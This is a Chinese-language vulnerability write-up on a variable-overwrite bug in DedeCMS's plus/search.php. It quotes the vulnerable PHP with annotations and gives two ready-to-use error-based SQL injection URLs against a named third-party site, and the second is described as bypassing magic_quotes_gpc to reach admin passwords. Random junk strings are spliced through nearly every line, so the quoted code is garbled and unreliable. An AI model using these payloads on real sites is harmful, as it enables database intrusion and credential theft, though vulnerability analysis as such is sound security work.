微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.7 X% ]6 l3 z3 ?, l4 n' N! }
作者: c4rp3nt3r@0x50sec.org: Q u- n8 J, H/ \
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.' s8 q# N! v( {' }" i
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6 B& n0 M4 _$ tDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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7 D$ f9 A' _+ Frequire_once(dirname(__FILE__).”/../include/common.inc.php”);
M2 R: z7 w% K8 ?* U0 u8 C) P7 d% Prequire_once(DEDEINC.”/arc.searchview.class.php”);+ U1 M9 r1 Z+ s
; f. _, g2 N( T' s' G* O& O' ~+ R$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
2 k! N- R- y* _, x$ e" Y$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
1 ?( A$ H6 A- G% \8 j* p$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;1 T# h" B1 ^: I
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
- G; I& v" k. V8 [; {: Z$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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) |; f3 Y' @" c4 ^if(!isset($orderby)) $orderby=”;
. p1 w6 R9 y; ~else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’; P; X2 J* K" z7 D$ x9 _+ n
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);0 w( w5 O; c' E0 S
! e& E4 f# ?4 ~; Y! z8 q4 N& `4 D# Aif(!isset($keyword)){; c4 c( W8 ~/ X6 [' J6 n7 O+ _
if(!isset($q)) $q = ”;% { M# q0 T. p$ s7 Y, E
$keyword=$q;% l$ \9 U; b: W5 f& B( E
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$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));7 M8 g! i9 ?3 Q2 b3 b/ Q. t7 k# |
) Y0 a4 _% t: m4 {( u$ i//查找栏目信息
/ i# r: W1 f9 B$ [: w, Y% _3 C( Dif(empty($typeid))
3 R& J* n2 E: Y" ]. N! ~{
" l* J7 \" U7 \; e! W+ e $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! t7 ~. d9 C6 w1 o if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
6 B) y3 K/ g2 o/ E5 M6 K {
$ W, x5 l! J5 d) j+ m $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);( e0 w% M6 k' N8 D8 m
fwrite($fp, “<”.”?php\r\n”);
, ?) E) P0 \" }; G $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
j" S* B, R' M( J $dsql->Execute();
# Y- [2 Y3 a) }* _) \# Z while($row = $dsql->GetArray())' H7 x8 ~* W* K6 @* J. u4 A8 h
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fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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fwrite($fp, ‘?’.'>’);
' S: q6 l9 E2 L+ ^9 O& G; o1 a fclose($fp);' F9 d: G6 n3 j& l
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//引入栏目缓存并看关键字是否有相关栏目内容
. Y) |" f) l; p) o( V0 @) J require_once($typenameCacheFile);
; @0 W. T: t& z! g//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个( z' i8 N$ g) X! _! v
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if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)
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* C1 b* c3 b; T, H1 { <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
! u3 ]+ U% q+ a' ] a5 f% @% ` if($keyword != $keywordn)
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0 ]" r& g$ }3 a: K $keyword = $keywordn;" @9 d8 G7 G7 q
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设4 c/ r. G" A- t4 x; u
break;
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}; q- x& p! G% C; R/ t
然后plus/search.php文件下面定义了一个 Search类的对象 .& l( N# K4 D( V! ^
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
2 _* {" V5 Z( O) k: }1 q. i! R3 s$this->TypeLink = new TypeLink($typeid);. S+ `) V/ W% l* K9 R3 {0 u7 h0 ~
% C8 A/ R* p* J* tTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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1 Q! S2 p% c/ cclass TypeLink- ]; C# r" v( W; N4 f; t, `! K
{
p( g* n$ K; I3 \! q var $typeDir;0 a- s( V- H8 |( ]0 [% R
var $dsql;0 t# Y' e# \: R* L, q: H) D
var $TypeID;
& K7 L' X, x9 _5 o( ~ var $baseDir;
$ ?7 z! N$ D) ]" z( L; N var $modDir;; Q( f& L: ?4 [% F& ]) _! D
var $indexUrl;- i* D9 ~9 ]. A3 }
var $indexName;2 T) l& V* E* g0 U' N4 R/ o
var $TypeInfos;1 Q5 g$ P& F, u2 m/ O' m
var $SplitSymbol;
6 o* h: p; j! V$ ?) A1 s var $valuePosition;8 K( L: F8 L; s5 l
var $valuePositionName;
4 ^" X) _" n* q& b var $OptionArrayList;//构造函数///////
" `" \5 q# K9 a5 C% U) e //php5构造函数
* m6 R. J" a, W1 D2 M% @5 W$ ] function __construct($typeid)
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$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
- a8 P; s5 A& B' Y _, S $this->indexName = $GLOBALS['cfg_indexname'];
0 C: \; ]2 h ^. O# y $this->baseDir = $GLOBALS['cfg_basedir'];; F* F5 c# M& L, d
$this->modDir = $GLOBALS['cfg_templets_dir'];7 V. I- W0 ], p0 x. A
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
" n+ q( t- B: j* F2 { $this->dsql = $GLOBALS['dsql'];/ d( e$ D) X* {: a
$this->TypeID = $typeid;5 c3 Z0 E5 {6 j( D) }8 G+ W+ U
$this->valuePosition = ”;
: t) t1 Z" b7 S $this->valuePositionName = ”;
o I; \& e7 y% T $this->typeDir = ”;
: ~1 f V4 k* _+ T, A, \- o $this->OptionArrayList = ”;/ G" [) Y2 T, v) p
a6 I' j( |. Z% U //载入类目信息0 N: z$ ]2 R$ k, P" f
% z- H9 a5 X% K' {& _ <font color=”Red”>$query = “SELECT tp.*,ch.typename as
; Y/ t$ D: l2 Tctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join7 {: X- [* ?7 _6 e
`#@__channeltype` ch
f* O. [! U% Z, x on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿$ s- E. ]/ p! e5 F! _
2 I, Y4 c* o. s6 e% m* [: R if($typeid > 0)5 T9 I- F- T, n" Z2 e u
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$this->TypeInfos = $this->dsql->GetOne($query);2 o: x* ~* V: w# ^7 C, l
利用代码一 需要 即使magic_quotes_gpc = Off/ D5 N+ q5 J& O: C
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www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
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" N6 f; I1 N2 Y# Q这只是其中一个利用代码… Search 类的构造函数再往下
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……省略
4 U# e/ ~( w! F& {% w$this->TypeID = $typeid;
5 O4 m) l- f5 \# d6 A# f……省略# W. d, ^; p! e- a4 x4 Y0 |( L
if($this->TypeID==”0″){5 Y; {+ a& k: B3 ~% u& k5 A
$this->ChannelTypeid=1; m1 }! F9 z$ j/ ?' S$ W
}else{8 C% ^% W& }) ^
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲% Q, C D0 P2 z0 l! t0 A
//现在不鸡肋了吧亲…, ]5 _( |+ l- j) B+ D; Q
$this->ChannelTypeid=$row['channeltype'];& ]$ Q, @- [2 N- ]! j) a% R
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}
7 |4 p* ?9 V+ f$ C- u利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
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www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title' U8 |& |# k) G# _# f
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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